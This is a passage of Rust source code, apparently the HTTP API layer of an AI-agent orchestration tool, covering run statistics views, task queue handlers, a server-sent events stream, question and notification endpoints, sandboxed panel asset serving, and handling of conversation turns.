3299 completion_rate: RateView::of(t.merged + t.ready, t.runs),
3300 tallied: t.tallied,
3301 split: t.split,
3302 split_rate: RateView::of(t.split, t.tallied),
3303 deliberated: t.deliberated,
3304 minds_changed: t.minds_changed,
3305 converged: t.converged,
3306 review_rounds: t.review_rounds,
3307 }
3308 }
3309}
3310
3311#[derive(Debug, Serialize)]
3313struct AgentStatsView {
3314 agent: String,
3315 entered: usize,
3316 wins: usize,
3317 empty: usize,
3318 win_rate: Option<RateView>,
3319}
3320
3321impl From<&stats::AgentStats> for AgentStatsView {
3322 fn from(a: &stats::AgentStats) -> Self {
3323 Self {
3324 agent: a.agent.clone(),
3325 entered: a.entered,
3326 wins: a.wins,
3327 empty: a.empty,
3328 win_rate: RateView::of(a.wins, a.entered),
3329 }
3330 }
3331}
3332
3333#[derive(Debug, Serialize)]
3337struct ReviewerStatsView {
3338 agent: String,
3339 rounds: usize,
3340 seated: usize,
3341 submitted: usize,
3342 adopted: usize,
3343 unique: usize,
3344 timeouts: usize,
3345 adopted_per_round: Option<f64>,
3346 precision: Option<RateView>,
3347 unique_rate: Option<RateView>,
3348 timeout_rate: Option<RateView>,
3349}
3350
3351impl From<&stats::ReviewerStats> for ReviewerStatsView {
3352 fn from(r: &stats::ReviewerStats) -> Self {
3353 Self {
3354 agent: r.agent.clone(),
3355 rounds: r.rounds,
3356 seated: r.seated,
3357 submitted: r.submitted,
3358 adopted: r.adopted,
3359 unique: r.unique,
3360 timeouts: r.timeouts,
3361 adopted_per_round: (r.rounds > 0).then(|| r.adopted_per_round()),
3362 precision: RateView::of(r.adopted, r.submitted),
3363 unique_rate: RateView::of(r.unique, r.submitted),
3364 timeout_rate: RateView::of(r.timeouts, r.seated),
3365 }
3366 }
3367}
3368
3369#[derive(Debug, Serialize)]
3375struct AdvisorStatsView {
3376 agent: String,
3377 seated: usize,
3378 proposed: usize,
3379 absent: usize,
3380 faint: usize,
3381 strong: usize,
3382 reflection_rate: Option<RateView>,
3383}
3384
3385impl From<&stats::AdvisorStats> for AdvisorStatsView {
3386 fn from(a: &stats::AdvisorStats) -> Self {
3387 Self {
3388 agent: a.agent.clone(),
3389 seated: a.seated,
3390 proposed: a.proposed,
3391 absent: a.absent,
3392 faint: a.faint,
3393 strong: a.strong,
3394 reflection_rate: RateView::of(a.strong, a.proposed),
3395 }
3396 }
3397}
3398
3399#[derive(Debug, Serialize)]
3401struct E2eStatsView {
3402 rounds: usize,
3403 failures: usize,
3404 sole_detections: usize,
3405 deferred: usize,
3406 sole_rate: Option<RateView>,
3407}
3408
3409impl From<&stats::E2eStats> for E2eStatsView {
3410 fn from(e: &stats::E2eStats) -> Self {
3411 Self {
3412 rounds: e.rounds,
3413 failures: e.failures,
3414 sole_detections: e.sole_detections,
3415 deferred: e.deferred,
3416 sole_rate: RateView::of(e.sole_detections, e.failures),
3417 }
3418 }
3419}
3420
3421#[derive(Debug, Serialize)]
3429struct ReleaseBumpStatsView {
3430 merged: usize,
3431 recorded: usize,
3432 pr_opened: usize,
3433 automerge_enabled: usize,
3434 merged_directly: usize,
3435 needs_attention: usize,
3436 clean: usize,
3437 coverage_rate: Option<RateView>,
3438 automerge_rate: Option<RateView>,
3439 attention_rate: Option<RateView>,
3440}
3441
3442impl From<&stats::ReleaseBumpStats> for ReleaseBumpStatsView {
3443 fn from(b: &stats::ReleaseBumpStats) -> Self {
3444 Self {
3445 merged: b.merged,
3446 recorded: b.recorded,
3447 pr_opened: b.pr_opened,
3448 automerge_enabled: b.automerge_enabled,
3449 merged_directly: b.merged_directly,
3450 needs_attention: b.needs_attention,
3451 clean: b.clean(),
3452 coverage_rate: RateView::of(b.recorded, b.merged),
3453 automerge_rate: RateView::of(b.automerge_enabled, b.pr_opened),
3454 attention_rate: RateView::of(b.needs_attention, b.recorded),
3455 }
3456 }
3457}
3458
3459#[derive(Debug, Serialize)]
3461struct TaskCountsView {
3462 queued: usize,
3463 running: usize,
3464 done: usize,
3465 failed: usize,
3466 held: usize,
3467 blocked: usize,
3468}
3469
3470impl From<crate::queue::TaskCounts> for TaskCountsView {
3471 fn from(c: crate::queue::TaskCounts) -> Self {
3472 Self {
3473 queued: c.queued,
3474 running: c.running,
3475 done: c.done,
3476 failed: c.failed,
3477 held: c.held,
3478 blocked: c.blocked,
3479 }
3480 }
3481}
3482
3483#[derive(Debug, Serialize)]
3489struct RepoSummaryView {
3490 repo: String,
3493 name: String,
3495 runs: usize,
3496 completion_rate: Option<RateView>,
3497}
3498
3499impl From<&stats::RepoStats> for RepoSummaryView {
3500 fn from(r: &stats::RepoStats) -> Self {
3501 let t = &r.stats.totals;
3502 Self {
3503 repo: r.repo.to_string_lossy().into_owned(),
3504 name: r.name.clone(),
3505 runs: t.runs,
3506 completion_rate: RateView::of(t.merged + t.ready, t.runs),
3507 }
3508 }
3509}
3510
3511#[derive(Debug, Serialize)]
3517struct StatsView {
3518 totals: StatsTotalsView,
3519 agents: Vec<AgentStatsView>,
3521 reviewers: Vec<ReviewerStatsView>,
3523 advisors: Vec<AdvisorStatsView>,
3525 e2e: E2eStatsView,
3526 release_bumps: ReleaseBumpStatsView,
3527 queue: TaskCountsView,
3528 runs_unreadable: usize,
3538 repos: Vec<RepoSummaryView>,
3542 repo: Option<String>,
3546}
3547
3548#[derive(Debug, Default, Deserialize)]
3557#[serde(default)]
3558struct StatsQuery {
3559 repo: Option<String>,
3560}
3561
3562async fn stats_get(
3569 State(ui): State<Arc<Ui>>,
3570 Query(q): Query<StatsQuery>,
3571) -> ApiResult<Json<StatsView>> {
3572 blocking(move || {
3573 let states: Vec<RunState> = run_ids(&ui.runs)
3574 .into_iter()
3575 .filter_map(|id| read_run(&ui.runs, &id).ok())
3576 .collect();
3577 let repos: Vec<RepoSummaryView> = stats::by_repo(&states)
3578 .iter()
3579 .map(RepoSummaryView::from)
3580 .collect();
3581 let collected = match &q.repo {
3582 Some(repo) => {
3583 let filtered = stats::filter_repo(&states, std::path::Path::new(repo));
3584 if filtered.is_empty() {
3585 return Err(ApiError::not_found(format!(
3586 "no runs recorded against repo `{repo}`"
3587 )));
3588 }
3589 stats::collect_refs(filtered)
3590 }
3591 None => stats::collect(&states),
3592 };
3593 let queue_counts = crate::queue::TaskCounts::of(&ui.queue.list());
3594 Ok(Json(StatsView {
3595 totals: StatsTotalsView::from(&collected.totals),
3596 agents: collected.agents.iter().map(AgentStatsView::from).collect(),
3597 reviewers: collected
3598 .reviewers
3599 .iter()
3600 .map(ReviewerStatsView::from)
3601 .collect(),
3602 advisors: collected
3603 .advisors
3604 .iter()
3605 .map(AdvisorStatsView::from)
3606 .collect(),
3607 e2e: E2eStatsView::from(&collected.e2e),
3608 release_bumps: ReleaseBumpStatsView::from(&collected.release_bumps),
3609 queue: TaskCountsView::from(queue_counts),
3610 runs_unreadable: runs_unreadable(&ui.runs),
3611 repos,
3612 repo: q.repo.clone(),
3613 }))
3614 })
3615 .await
3616}
3617
3618#[derive(Debug, Default, Deserialize)]
3621#[serde(default, deny_unknown_fields)]
3622struct HoldBody {
3623 reason: Option<String>,
3624}
3625
3626async fn queue_hold(
3627 State(ui): State<Arc<Ui>>,
3628 Path(id): Path<String>,
3629 body: std::result::Result<Json<HoldBody>, JsonRejection>,
3630) -> ApiResult<Json<TaskView>> {
3631 let body = match body {
3635 Ok(Json(body)) => body,
3636 Err(JsonRejection::MissingJsonContentType(_)) => HoldBody::default(),
3637 Err(e) => return Err(ApiError::bad_request(e.body_text())),
3638 };
3639 let reason = body.reason.filter(|r| !r.trim().is_empty());
3640 mutate(ui, id, move |t| {
3641 t.hold_manual(reason.clone());
3642 Ok(())
3643 })
3644 .await
3645}
3646
3647async fn queue_release(
3648 State(ui): State<Arc<Ui>>,
3649 Path(id): Path<String>,
3650) -> ApiResult<Json<TaskView>> {
3651 mutate(ui, id, |t| {
3652 t.release();
3653 Ok(())
3654 })
3655 .await
3656}
3657
3658#[derive(Debug, Deserialize)]
3660#[serde(deny_unknown_fields)]
3661struct PriorityBody {
3662 priority: i32,
3663}
3664
3665async fn queue_priority(
3671 State(ui): State<Arc<Ui>>,
3672 Path(id): Path<String>,
3673 body: std::result::Result<Json<PriorityBody>, JsonRejection>,
3674) -> ApiResult<Json<TaskView>> {
3675 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
3676 mutate(ui, id, move |t| t.set_priority(body.priority)).await
3677}
3678
3679#[derive(Debug, Deserialize)]
3681#[serde(deny_unknown_fields)]
3682struct EditBody {
3683 title: String,
3684 instruction: String,
3685 #[serde(default)]
3688 force: bool,
3689}
3690
3691async fn queue_edit(
3695 State(ui): State<Arc<Ui>>,
3696 Path(id): Path<String>,
3697 body: std::result::Result<Json<EditBody>, JsonRejection>,
3698) -> ApiResult<Json<TaskView>> {
3699 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
3700 let (queue, runs) = (ui.queue.clone(), ui.runs.clone());
3701 mutate(ui, id, move |t| {
3702 if !body.force && body.instruction != t.instruction {
3703 let hits =
3704 crate::dupes::check(&queue, &runs, &t.repo, &body.instruction, None, Some(&t.id));
3705 if !hits.is_empty() {
3706 return Err(crate::dupes::Duplicate(hits).into());
3707 }
3708 }
3709 t.edit(body.title.clone(), body.instruction.clone())
3710 })
3711 .await
3712}
3713
3714async fn queue_done(
3722 State(ui): State<Arc<Ui>>,
3723 Path(id): Path<String>,
3724) -> ApiResult<Json<TaskView>> {
3725 let home = ui.home.clone();
3726 mutate(ui, id, move |t| {
3727 t.succeed();
3728 crate::daemon::supersede_prior_runs(t, &home);
3736 Ok(())
3737 })
3738 .await
3739}
3740
3741async fn queue_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
3749 blocking(move || {
3750 let id = resolve_task(&ui.queue, &id)?;
3751 let in_flight = crate::daemon::is_working_on_task(&ui.home, &id, jiff::Timestamp::now());
3752 ui.queue
3753 .remove(&id, in_flight, &ui.questions)
3754 .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
3755 Ok(StatusCode::NO_CONTENT)
3756 })
3757 .await
3758}
3759
3760async fn mutate(
3769 ui: Arc<Ui>,
3770 id: String,
3771 change: impl FnOnce(&mut Task) -> Result<()> + Send + 'static,
3772) -> ApiResult<Json<TaskView>> {
3773 blocking(move || {
3774 let id = resolve_task(&ui.queue, &id)?;
3775 let _claim = ui.queue.claim(&id).map_err(|e| {
3780 ApiError::conflict(format!(
3781 "{e:#} - a daemon is running this task, so it cannot be \
3782 changed from here yet"
3783 ))
3784 })?;
3785 let mut task = ui.queue.get(&id)?;
3786 change(&mut task).map_err(|e| match e.downcast::<crate::dupes::Duplicate>() {
3787 Ok(dup) => ApiError::conflict(dup.render(
3788 "Nothing was saved. If it is not a duplicate, repeat the request with \
3789 \"force\": true.",
3790 )),
3791 Err(e) => ApiError::bad_request_from(e),
3792 })?;
3793 ui.queue.put(&mut task)?;
3794 Ok(Json(TaskView::from(task)))
3795 })
3796 .await
3797}
3798
3799async fn events(State(ui): State<Arc<Ui>>) -> impl IntoResponse {
3807 let (tx, rx) = tokio::sync::mpsc::channel::<Event>(4);
3808 tokio::spawn(async move {
3809 let mut ticker = tokio::time::interval(POLL);
3810 let mut last: Option<(u64, u64, u64, u64, u64, u64)> = None;
3811 loop {
3812 ticker.tick().await;
3815 let state = Arc::clone(&ui);
3816 let revisions = tokio::task::spawn_blocking(move || {
3817 (
3818 state.queue.revision(),
3819 runs_revision(&state.runs),
3820 state.questions.revision(),
3821 state.talks.revision(),
3822 state.notices.revision(),
3823 state.lock_loop().rev,
3827 )
3828 })
3829 .await;
3830 let Ok(revisions) = revisions else { break };
3831 if last == Some(revisions) {
3832 continue;
3833 }
3834 last = Some(revisions);
3835 let payload = serde_json::json!({
3836 "queue_rev": revisions.0,
3837 "runs_rev": revisions.1,
3838 "questions_rev": revisions.2,
3839 "talks_rev": revisions.3,
3840 "notifications_rev": revisions.4,
3841 "loop_rev": revisions.5,
3842 });
3843 let Ok(event) = Event::default().event("change").json_data(payload) else {
3845 break;
3846 };
3847 if tx.send(event).await.is_err() {
3848 break;
3849 }
3850 }
3851 });
3852 Sse::new(ReceiverStream::new(rx).map(Ok::<Event, Infallible>))
3853 .keep_alive(KeepAlive::new().interval(KEEPALIVE))
3854}
3855
3856fn runs_revision(runs: &FsPath) -> u64 {
3863 use std::hash::{Hash as _, Hasher as _};
3864
3865 let mut entries: Vec<(String, u64)> = std::fs::read_dir(runs)
3866 .into_iter()
3867 .flatten()
3868 .flatten()
3869 .filter_map(|e| {
3870 let path = e.path().join("run.json");
3871 let mtime = path
3872 .metadata()
3873 .ok()?
3874 .modified()
3875 .ok()?
3876 .duration_since(std::time::UNIX_EPOCH)
3877 .ok()?
3878 .as_millis() as u64;
3879 let id = e.file_name().to_string_lossy().into_owned();
3880 Some((id, mtime))
3881 })
3882 .collect();
3883
3884 if entries.is_empty() {
3885 return 0;
3886 }
3887
3888 entries.sort_unstable();
3889 let mut hasher = std::hash::DefaultHasher::new();
3890 for (id, mtime) in &entries {
3891 id.hash(&mut hasher);
3892 mtime.hash(&mut hasher);
3893 }
3894 let h = hasher.finish();
3895 if h == 0 { 1 } else { h }
3896}
3897
3898fn run_ids(runs: &FsPath) -> Vec<String> {
3904 let mut ids: Vec<String> = std::fs::read_dir(runs)
3905 .into_iter()
3906 .flatten()
3907 .flatten()
3908 .filter(|e| e.path().join("run.json").is_file())
3909 .map(|e| e.file_name().to_string_lossy().into_owned())
3910 .collect();
3911 ids.sort_unstable_by(|a, b| b.cmp(a));
3913 ids
3914}
3915
3916fn read_run(runs: &FsPath, id: &str) -> Result<RunState> {
3918 let path = runs.join(id).join("run.json");
3919 let body =
3920 std::fs::read_to_string(&path).with_context(|| format!("read {}", path.display()))?;
3921 let state: RunState =
3922 serde_json::from_str(&body).with_context(|| format!("parse {}", path.display()))?;
3923 if state.schema != run::SCHEMA {
3924 anyhow::bail!(
3925 "run {} was written by a different magi (schema {}, this build speaks {})",
3926 state.id,
3927 state.schema,
3928 run::SCHEMA
3929 );
3930 }
3931 Ok(state)
3932}
3933
3934#[must_use]
3942pub fn runs_unreadable(runs: &FsPath) -> usize {
3943 run_ids(runs)
3944 .into_iter()
3945 .filter(|id| read_run(runs, id).is_err())
3946 .count()
3947}
3948
3949fn resolve_run(runs: &FsPath, id: &str) -> ApiResult<String> {
3951 if runs.join(id).join("run.json").is_file() {
3952 return Ok(id.to_owned());
3953 }
3954 pick(run_ids(runs), id, "run")
3955}
3956
3957fn resolve_task(queue: &Queue, id: &str) -> ApiResult<String> {
3959 if queue.path_of(id).is_file() {
3960 return Ok(id.to_owned());
3961 }
3962 pick(queue.list().into_iter().map(|t| t.id).collect(), id, "task")
3963}
3964
3965#[derive(Debug, Serialize)]
3976struct QuestionView {
3977 #[serde(flatten)]
3978 question: Question,
3979 detail_md: Vec<md::Node>,
3980 waiting_on_agent: bool,
3990 holder: Option<&'static str>,
3994}
3995
3996impl QuestionView {
3997 fn of(question: Question, store: &ask::Questions) -> Self {
4001 let base = md::ImageBase::QuestionPanel {
4002 id: question.id.clone(),
4003 };
4004 let holder = holder_of(&question, store.read_lease(&question.id).as_ref());
4005 Self {
4006 detail_md: md::to_nodes(&question.detail, &base),
4007 waiting_on_agent: question.waiting_on_agent(),
4008 holder,
4009 question,
4010 }
4011 }
4012}
4013
4014fn holder_of(q: &Question, lease: Option<&ask::Lease>) -> Option<&'static str> {
4021 if !q.status.open() || q.cwd.is_none() {
4022 return None;
4023 }
4024 Some(match lease.filter(|l| l.fresh(jiff::Timestamp::now())) {
4025 Some(l) if l.kind == ask::WaiterKind::Daemon => "daemon",
4026 Some(_) => "asker",
4027 None => "nobody",
4028 })
4029}
4030
4031async fn questions_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionView>>> {
4037 blocking(move || {
4038 Ok(Json(
4039 ui.questions
4040 .list()
4041 .into_iter()
4042 .map(|q| QuestionView::of(q, &ui.questions))
4043 .collect(),
4044 ))
4045 })
4046 .await
4047}
4048
4049async fn notifications_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
4052 blocking(move || {
4053 let items = ui.notices.list();
4054 let unread = items.iter().filter(|n| n.unread()).count();
4055 Ok(Json(
4056 serde_json::json!({ "unread": unread, "items": items }),
4057 ))
4058 })
4059 .await
4060}
4061
4062fn notice_error(e: anyhow::Error) -> ApiError {
4063 ApiError::not_found(format!("{e:#}"))
4066}
4067
4068async fn notification_read(
4070 State(ui): State<Arc<Ui>>,
4071 Path(id): Path<String>,
4072) -> ApiResult<Json<Notice>> {
4073 blocking(move || ui.notices.mark_read(&id).map(Json).map_err(notice_error)).await
4074}
4075
4076async fn notification_dismiss(
4078 State(ui): State<Arc<Ui>>,
4079 Path(id): Path<String>,
4080) -> ApiResult<Json<Notice>> {
4081 blocking(move || ui.notices.dismiss(&id).map(Json).map_err(notice_error)).await
4082}
4083
4084async fn notifications_read_all(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
4086 blocking(move || {
4087 let changed = ui.notices.mark_all_read()?;
4088 Ok(Json(serde_json::json!({ "marked": changed })))
4089 })
4090 .await
4091}
4092
4093#[derive(Debug, Default, Deserialize)]
4099#[serde(default, deny_unknown_fields)]
4100struct NewAnswer {
4101 choice: Option<String>,
4102 text: Option<String>,
4103}
4104
4105async fn question_answer(
4106 State(ui): State<Arc<Ui>>,
4107 Path(id): Path<String>,
4108 body: std::result::Result<Json<NewAnswer>, axum::extract::rejection::JsonRejection>,
4109) -> ApiResult<Json<QuestionView>> {
4110 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
4111 let answer = match (body.choice, body.text) {
4112 (Some(c), None) => Answer::Choice(c),
4113 (None, Some(t)) => Answer::Text(t),
4114 (Some(_), Some(_)) => {
4115 return Err(ApiError::bad_request(
4116 "send either `choice` or `text`, not both",
4117 ));
4118 }
4119 (None, None) => {
4120 return Err(ApiError::bad_request("send a `choice` or a `text`"));
4121 }
4122 };
4123
4124 blocking(move || {
4125 let id = resolve_question(&ui.questions, &id)?;
4126 let q = ui
4127 .questions
4128 .get(&id)
4129 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
4130 if !q.status.open() {
4131 return Err(ApiError::conflict(format!(
4135 "question {} is already {}",
4136 q.short(),
4137 q.status.as_str()
4138 )));
4139 }
4140 let (q, ()) = ui
4144 .questions
4145 .update(&q.id, |r| r.answer(answer))
4146 .map_err(ApiError::bad_request_from)?;
4147 Ok(Json(QuestionView::of(q, &ui.questions)))
4148 })
4149 .await
4150}
4151
4152#[derive(Debug, Deserialize)]
4154#[serde(deny_unknown_fields)]
4155struct NewSay {
4156 body: String,
4157}
4158
4159async fn question_say(
4169 State(ui): State<Arc<Ui>>,
4170 Path(id): Path<String>,
4171 body: std::result::Result<Json<NewSay>, JsonRejection>,
4172) -> ApiResult<Json<QuestionView>> {
4173 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
4174 blocking(move || {
4175 let id = resolve_question(&ui.questions, &id)?;
4176 let q = ui
4177 .questions
4178 .get(&id)
4179 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
4180 if !q.status.open() {
4181 return Err(ApiError::conflict(format!(
4185 "question {} is already {}",
4186 q.short(),
4187 q.status.as_str()
4188 )));
4189 }
4190 let (q, ()) = ui
4193 .questions
4194 .update(&q.id, |r| r.say(body.body))
4195 .map_err(ApiError::bad_request_from)?;
4196 Ok(Json(QuestionView::of(q, &ui.questions)))
4197 })
4198 .await
4199}
4200
4201fn resolve_question(store: &Questions, id: &str) -> ApiResult<String> {
4203 if store.path_of(id).is_file() {
4204 return Ok(id.to_owned());
4205 }
4206 pick(
4207 store.list().into_iter().map(|q| q.id).collect(),
4208 id,
4209 "question",
4210 )
4211}
4212
4213async fn question_panel(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Response> {
4228 blocking(move || {
4229 let id = resolve_question(&ui.questions, &id)?;
4230 let Some(html) = ui.questions.panel_html(&id) else {
4231 return Err(ApiError::not_found(format!("question {id} has no panel")));
4232 };
4233 Ok(panel_response(
4234 "text/html; charset=utf-8",
4235 false,
4236 html.into_bytes(),
4237 ))
4238 })
4239 .await
4240}
4241
4242async fn question_asset(
4270 State(ui): State<Arc<Ui>>,
4271 Path((id, name)): Path<(String, String)>,
4272) -> ApiResult<Response> {
4273 if !crate::ask::valid_asset_name(&name) {
4276 return Err(ApiError::bad_request(format!(
4277 "`{name}` is not a usable asset name"
4278 )));
4279 }
4280 blocking(move || {
4281 let id = resolve_question(&ui.questions, &id)?;
4282 let asset = ui
4283 .questions
4284 .panel_asset(&id, &name)
4285 .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
4286 let Some(bytes) = asset else {
4287 return Err(ApiError::not_found(format!(
4288 "question {id} has no asset `{name}`"
4289 )));
4290 };
4291 Ok(panel_response(
4292 asset_content_type(&name),
4293 is_svg(&name),
4294 bytes,
4295 ))
4296 })
4297 .await
4298}
4299
4300fn asset_content_type(name: &str) -> &'static str {
4313 match extension(name).as_deref() {
4314 Some("png") => "image/png",
4315 Some("jpg" | "jpeg") => "image/jpeg",
4316 Some("gif") => "image/gif",
4317 Some("webp") => "image/webp",
4318 Some("svg") => "image/svg+xml",
4319 Some("css") => "text/css; charset=utf-8",
4320 Some("txt") => "text/plain; charset=utf-8",
4321 _ => "application/octet-stream",
4322 }
4323}
4324
4325fn is_svg(name: &str) -> bool {
4328 extension(name).as_deref() == Some("svg")
4329}
4330
4331fn extension(name: &str) -> Option<String> {
4333 name.rsplit_once('.')
4334 .map(|(_, ext)| ext.to_ascii_lowercase())
4335}
4336
4337fn panel_response(content_type: &'static str, download: bool, body: Vec<u8>) -> Response {
4354 let mut res = (
4355 [
4356 (header::CONTENT_TYPE, content_type),
4357 (header::CONTENT_SECURITY_POLICY, PANEL_CSP),
4358 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
4359 (header::REFERRER_POLICY, "no-referrer"),
4360 ],
4361 body,
4362 )
4363 .into_response();
4364 if download {
4365 res.headers_mut().insert(
4366 header::CONTENT_DISPOSITION,
4367 HeaderValue::from_static("attachment"),
4368 );
4369 }
4370 res
4371}
4372
4373#[derive(Debug, Serialize)]
4379struct TalkView {
4380 #[serde(flatten)]
4381 talk: Talk,
4382 turn_bodies_md: Vec<Vec<md::Node>>,
4383 thinking: bool,
4391}
4392
4393impl TalkView {
4394 fn new(talk: Talk, thinking: bool) -> Self {
4395 let turn_bodies_md = talk
4396 .turns
4397 .iter()
4398 .map(|turn| md::to_nodes(&turn.body, &md::ImageBase::None))
4399 .collect();
4400 Self {
4401 turn_bodies_md,
4402 thinking,
4403 talk,
4404 }
4405 }
4406}
4407
4408#[derive(Debug, Serialize)]
4413struct TalkDetailView {
4414 #[serde(flatten)]
4415 view: TalkView,
4416 tasks: Vec<TaskView>,
4417}
4418
4419async fn talks_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<TalkView>>> {
4424 blocking(move || {
4425 Ok(Json(
4426 ui.talks
4427 .list()
4428 .into_iter()
4429 .map(|talk| {
4430 let thinking = ui.is_thinking(&talk.id);
4431 TalkView::new(talk, thinking)
4432 })
4433 .collect(),
4434 ))
4435 })
4436 .await
4437}
4438
4439#[derive(Debug, Default, Deserialize)]
4444#[serde(default)]
4445struct NewTalk {
4446 agent: Option<String>,
4447 repo: Option<PathBuf>,
4448}
4449
4450async fn talk_post(
4453 State(ui): State<Arc<Ui>>,
4454 body: std::result::Result<Json<NewTalk>, JsonRejection>,
4455) -> ApiResult<impl IntoResponse> {
4456 let body = match body {
4460 Ok(Json(body)) => body,
4461 Err(JsonRejection::MissingJsonContentType(_)) => NewTalk::default(),
4462 Err(e) => return Err(ApiError::bad_request(e.body_text())),
4463 };
4464 let repo = body.repo.clone().unwrap_or_else(|| ui.repo.clone());
4465 let cfg = config_for(&repo).await?;
4466 let view = blocking(move || {
4467 let talk = talk::begin(&ui.talks, &cfg, repo, body.agent.as_deref())?;
4468 let thinking = ui.is_thinking(&talk.id);
4469 Ok(TalkView::new(talk, thinking))
4470 })
4471 .await?;
4472 Ok((StatusCode::CREATED, Json(view)))
4473}
4474
4475async fn talk_detail(
4477 State(ui): State<Arc<Ui>>,
4478 Path(id): Path<String>,
4479) -> ApiResult<Json<TalkDetailView>> {
4480 blocking(move || {
4481 let id = resolve_talk(&ui.talks, &id)?;
4482 let talk = ui.talks.get(&id)?;
4483 let thinking = ui.is_thinking(&talk.id);
4484 let tasks = talk::tasks_of(&ui.queue, &talk.id)
4485 .into_iter()
4486 .map(TaskView::from)
4487 .collect();
4488 Ok(Json(TalkDetailView {
4489 view: TalkView::new(talk, thinking),
4490 tasks,
4491 }))
4492 })
4493 .await
4494}
4495
4496#[derive(Debug, Default, Deserialize)]
4502#[serde(default, deny_unknown_fields)]
4503struct NewTalkTurn {
4504 text: String,
4505 attachments: Vec<String>,
4506}
4507
4508#[derive(Debug, Deserialize)]
4509#[serde(deny_unknown_fields)]
4510struct EditTalkPending {
4511 text: String,
4512 expected_text: String,
4513 expected_attachments: Vec<String>,
4514}
4515
4516#[derive(Debug, Deserialize)]
4517#[serde(deny_unknown_fields)]
4518struct ClearTalkPending {
4519 expected_text: String,
4520 expected_attachments: Vec<String>,
4521}
4522
4523async fn talk_say(
4535 State(ui): State<Arc<Ui>>,
4536 Path(id): Path<String>,
4537 body: std::result::Result<Json<NewTalkTurn>, JsonRejection>,
4538) -> ApiResult<(StatusCode, Json<TalkView>)> {
4539 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
4540 if body.text.trim().is_empty() && body.attachments.is_empty() {
4541 return Err(ApiError::bad_request("say something"));
4542 }
4543
4544 let id = {
4545 let ui = Arc::clone(&ui);
4546 let asked = id.clone();
4547 blocking(move || resolve_talk(&ui.talks, &asked)).await?
4548 };
4549 {
4553 let ui = Arc::clone(&ui);
4554 let id = id.clone();
4555 blocking(move || {
4556 let talk = ui.talks.get(&id)?;
4557 if !talk.status.open() {
4558 return Err(ApiError::conflict(format!(
4559 "talk {} is {} and takes no more turns",
4560 talk.short(),
4561 talk.status.as_str()
4562 )));
4563 }
4564 Ok(())
4565 })
4566 .await?;
4567 }
4568
4569 let attachments = {
4574 let ui = Arc::clone(&ui);
4575 let id = id.clone();
4576 let ids = body.attachments.clone();
4577 blocking(move || {
4578 ids.into_iter()
4579 .map(|att_id| {
4580 ui.talks.attachment_meta(&id, &att_id)?.ok_or_else(|| {
4581 ApiError::bad_request(format!("unknown attachment `{att_id}`"))
4582 })
4583 })
4584 .collect::<ApiResult<Vec<talk::Attachment>>>()
4585 })
4586 .await?
4587 };
4588
4589 let start = {
4594 let ui = Arc::clone(&ui);
4595 let id = id.clone();
4596 blocking(move || ui.begin_talk_turn_unless_pending(&id)).await?
4597 };
4598 let turn_guard = match start {
4599 TalkTurnStart::Claimed(turn_guard) => turn_guard,
4600 TalkTurnStart::Pending => {
4601 return Err(ApiError::conflict(
4602 "a queued draft is waiting; resume it, edit it, or clear it before sending another message",
4603 ));
4604 }
4605 TalkTurnStart::Busy => {
4606 let (tx, rx) = tokio::sync::oneshot::channel();
4622 tokio::spawn({
4623 let ui = Arc::clone(&ui);
4624 let id = id.clone();
4625 let said = body.text.clone();
4626 async move {
4627 let written = blocking({
4628 let ui = Arc::clone(&ui);
4629 let id = id.clone();
4630 move || {
4631 let mut talk = ui.talks.get(&id)?;
4632 #[cfg(test)]
4637 if let Some(gate) = ui
4638 .busy_queue_gate
4639 .lock()
4640 .unwrap_or_else(PoisonError::into_inner)
4641 .take()
4642 {
4643 let _ = gate.reached.send(());
4644 let _ = gate.release.recv();
4645 }
4646 if let Err(error) =
4647 talk::queue(&mut talk, &ui.talks, &said, attachments)
4648 {
4649 if let Ok(fresh) = ui.talks.get(&id) {
4650 if !fresh.status.open() {
4651 return Err(ApiError::conflict(format!(
4652 "talk {} is {} and takes no more turns",
4653 fresh.short(),
4654 fresh.status.as_str()
4655 )));
4656 }
4657 }
4658 return Err(ApiError::from(error));
4659 }
4660 let claim = match ui.begin_queued_talk_turn(&id)? {
4671 Some(turn_guard) => {
4672 let (cfg, _) = Config::discover(&talk.repo, None)?;
4673 Some((talk.clone(), cfg, turn_guard))
4674 }
4675 None => None,
4676 };
4677 let thinking = ui.is_thinking(&id);
4678 Ok((TalkView::new(talk, thinking), claim))
4679 }
4680 })
4681 .await;
4682 let (view, reclaimed) = match written {
4683 Ok(pair) => pair,
4684 Err(e) => {
4685 let _ = tx.send(Err(e));
4690 return;
4691 }
4692 };
4693 let _ = tx.send(Ok(view));
4696 if let Some((talk, cfg, turn_guard)) = reclaimed {
4697 let talks = ui.talks.clone();
4698 drain_loop(talk, talks, cfg, id, turn_guard).await;
4699 }
4700 }
4701 });
4702 let view = rx
4703 .await
4704 .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
4705 return Ok((StatusCode::ACCEPTED, Json(view)));
4706 }
4707 };
4708
4709 let (talk, cfg) = {
4710 let ui = Arc::clone(&ui);
4711 let id = id.clone();
4712 blocking(move || {
4713 let talk = ui.talks.get(&id)?;
4714 let (cfg, _) = Config::discover(&talk.repo, None)?;
4715 Ok((talk, cfg))
4716 })
4717 .await?
4718 };
4719
4720 let talks = ui.talks.clone();
4721 let (tx, rx) = tokio::sync::oneshot::channel();
4736 tokio::spawn({
4737 let ui = Arc::clone(&ui);
4738 let talks = talks.clone();
4739 let id = id.clone();
4740 let said = body.text.clone();
4741 let mut talk = talk.clone();
4742 async move {
4743 let recorded = blocking({
4744 let talks = talks.clone();
